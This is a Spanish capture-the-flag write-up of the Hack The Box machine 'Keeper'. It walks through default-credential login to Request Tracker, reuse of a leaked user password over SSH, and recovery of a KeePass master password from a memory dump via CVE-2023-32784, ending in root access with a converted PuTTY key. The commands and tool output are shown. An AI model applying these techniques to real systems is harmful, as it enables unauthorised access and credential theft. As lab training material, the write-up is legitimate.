Publicado: 14 de Mayo de 2025
Autor: José Miguel Romero aKa x3m1SecDificultad: ⭐ Easy
📝 Descripción
Keeper es una máquina Linux de dificultad fácil que presenta un servidor web con una aplicación de gestión de tickets (Request Tracker) vulnerable a credenciales por defecto. La máquina sigue un camino de explotación enfocado en la reutilización de credenciales y el análisis forense de memoria para obtener acceso a información sensible. Se aprovecha una vulnerabilidad de KeePass (CVE-2023-32784) para extraer una contraseña maestra de un volcado de memoria, lo que permite obtener acceso a credenciales privilegiadas almacenadas en una base de datos de KeePass. El desafío también requiere conocimientos sobre conversión de formatos de claves SSH para obtener acceso como usuario root.
🚀 Metodología
flowchart TD
A[Reconocimiento] --> B[Escaneo de Puertos]
B --> C{Puertos\nDescubiertos}
C --> D[Puerto 22 - SSH]
C --> E[Puerto 80 - HTTP]
E --> F[Descubrimiento del dominio\ntickets.keeper.htb]
F --> G[Request Tracker\nCredenciales por defecto root:password]
G --> H[Información del usuario\nlnorgaard - Welcome2023!]
H --> I[Acceso SSH]
I --> J[user.txt]
I --> K[Descubrimiento de\narchivos KeePass]
K --> L[Extracción del archivo zip\nKeePassDumpFull.dmp\npasscodes.kdbx]
L --> M[Explotación de CVE-2023-32784\ncon keepass-password-dumper]
M --> N[Contraseña recuperada\nrødgrød med fløde]
N --> O[Acceso a base KeePass]
O --> P[Descubrimiento de clave SSH\npara usuario root]
P --> Q[Conversión de clave PuTTY\na formato OpenSSH]
Q --> R[Acceso como root]
R --> S[root.txt]
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.11.227
PING 10.10.11.227 (10.10.11.227) 56(84) bytes of data.
64 bytes from 10.10.11.227: icmp_seq=1 ttl=63 time=46.9 ms
64 bytes from 10.10.11.227: icmp_seq=2 ttl=63 time=46.7 ms
--- 10.10.11.227 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1016ms
rtt min/avg/max/mdev = 46.713/46.797/46.881/0.084 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
nmap -sC -sV -p$ports 10.10.11.28 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 11:54 CEST
Nmap scan report for 10.10.11.28
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
🌐 Enumeración Web
80 HTTP
⚠️ Importante: El servicio HTTP menciona que para crear un ticket visitemos el dominio tickets.keeper.htb. Debemos agregar este dominio a nuestro archivo hosts.
echo "10.10.11.227 keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts
Una vez añadido nos redirige correctamente:
Una pequeña búsqueda en google sobre las credenciales por defecto del aplicativo Request tracker nos aporta la información necesaria para autenticarnos con éxito:
Enumerando la aplicación en la seccion Admin > Users > Select vemos que existen dos usuarios, el usuario actual con el que nos hemos autenticado "root" y otro llamado Inorgaard
En el detalle del usuario vemos que en el campo comentarios hay una contraseña inicial con la que se estableció el usuario:
Nos autenticamos en Request Tracker usando las credenciales de este usuario lnorgaard:Welcome2023!
Al acceder vemos que tiene un ticket:
Foothold
Probamos a utilizar estas credenciales tambien con el servicio SSH:
ssh lnorgaard@10.10.11.227
lnorgaard@10.10.11.227's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$
Enumeramos la máquina y vemos que en el mismo directorio de la flag hay un fichero comprimido. Tras descomprimirlo vemos que se trata del dump de keepass que mencionaba el usuario lnorgaard en el ticket en Request Tracker
Tras dejar a Hashcat trabajar durante bastante tiempo, no logra obtener la contraseña maestra.
💻 Explotación
🔓 CVE-2023-32784
Explorando otras opciones y buscando información sobre keepass, descubrimos que hay un CVE relacionado con una vulnerabilidad en Keepass
La vulnerabilidad permite extraer la clave maestra en texto plano de la memoria del proceso en ejecución. Esta clave permitirá a un atacante acceder a todas las credenciales almacenadas.
PS C:\Users\keepass-password-dumper > dotnet run Z:\hackthebox\keeper-10.10.11.227\KeePassDumpFull.dmp ...[snip]... Password candidates (character positions): Unknown characters are displayed as "●" 1.: ● 2.: ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M, 3.: d, 4.: g, 5.: r, 6.: ø, 7.: d, 8.: , 9.: m, 10.: e, 11.: d, 12.: , 13.: f, 14.: l, 15.: ø, 16.: d, 17.: e, Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgørd med fløde
También podemos usar este script en python desde LInux:
https://github.com/z-jxy/keepass_dump
~/Documents/PentestTools/other/Keepass/keepass_dump main ❯ python3 keepass_dump.py -f /home/kpanic/KeePassDumpFull.dmp
[*] Searching for masterkey characters
[-] Couldn't find jump points in file. Scanning with slower method.
[*] 0: {UNKNOWN}
[*] 2: d
[*] 3: g
[*] 4: r
[*] 6: d
[*] 7:
[*] 8: m
[*] 9: e
[*] 10: d
[*] 11:
[*] 12: f
[*] 13: l
[*] 15: d
[*] 16: e
[*] Extracted: {UNKNOWN}dgrd med flde
Hay dos caracteres que están ocultos y la palabra a priori no tiene mucho sentido. Si recordamos, el usuario tenía configurado el idioma en danés, hacemos una búsqueda en Google de esta palabra y vemos lo siguiente
rødgrød med fløde
Parece ser un postre danés. Probamos a cargar el archivo en keepass introduciendo la contraseña obtenida como clave maestra:
En el interior encontramos una clave ssh para el usuario root y una contraseña:
Esto no es una clave id_rsa al uso, sino que está en un formato para que pueda ser operable por la herramienta Putty.
Para usar esta clave en Linux, primero hay que convertirla a un formato que openssh pueda entender sudo apt install putty-tools).
Para ello, guardamos también el contenido en un fichero de texto asegurando de liminar cualquier espacio en blanco.
De tal forma que ya tendremos nuestra clave en el formato que necesitamos:
Ahora únicamente nos queda darle permisos 600 al fichero y conectarnos vía ssh y obtener la flag:
chmod 600 pem_file.pem
ssh -i pem_file.pem root@10.10.11.227
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~# whoami
root
root@keeper:~#
Dado que en esta ocasión, también disponemos de un dump de keepass, procedemos a descargarlo y usarlo con la herramienta